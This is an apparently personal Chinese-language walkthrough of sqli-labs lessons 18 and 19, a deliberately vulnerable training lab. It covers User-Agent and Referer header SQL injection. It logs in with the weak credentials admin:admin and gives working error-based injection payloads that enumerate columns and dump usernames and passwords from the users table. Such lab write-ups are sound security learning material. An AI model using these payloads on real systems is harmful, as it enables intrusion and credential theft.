sqlilabs less-18~19
前期测试
测试后发现注入点应不在登录功能上,凭借弱密码admin:admin
登陆看看能发现什么。
注意蓝字看起来像不像HTTP请求头
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88
Safari/537.36
抓包去burp suite
显示的user-agent会不会是注入点,为什么会显示出来呢
在user-agent后面添加英文单引号(‘)
sql语句尾部应该是这样('user-agent','IP','username')
经过测试发现普通注入行不通,试试报错注入。(注意sql尾部有一个右括号)
报错注入
1’+(sql)+'1注入
在查询表名的时候
User-Agent: 1'+(select group_concat(column_name) from information_schema.columns where table_name='users')+'1
User-Agent: 1'+(select group_concat(concat_ws('_',username,password)) from users)+'1
浅析源码
最后来看看源码
重点
首先看到输入经过各种筛查,所以导致前期测试登录功能没有反应,然后通过用户和密码验证后,向security
数据库插入uagent、ip、uname
,并且显示ip、agent
。
为什么不能通过IP来注入呢,本人猜想是因为代码使用的是REMOTE_ADDR
,而不是X-Forward-For
sqlilabs less-19
不知道为什么我的less-19,没有任何反应,看了眼源码估计是Referer
注入,和less-18没有太大差距。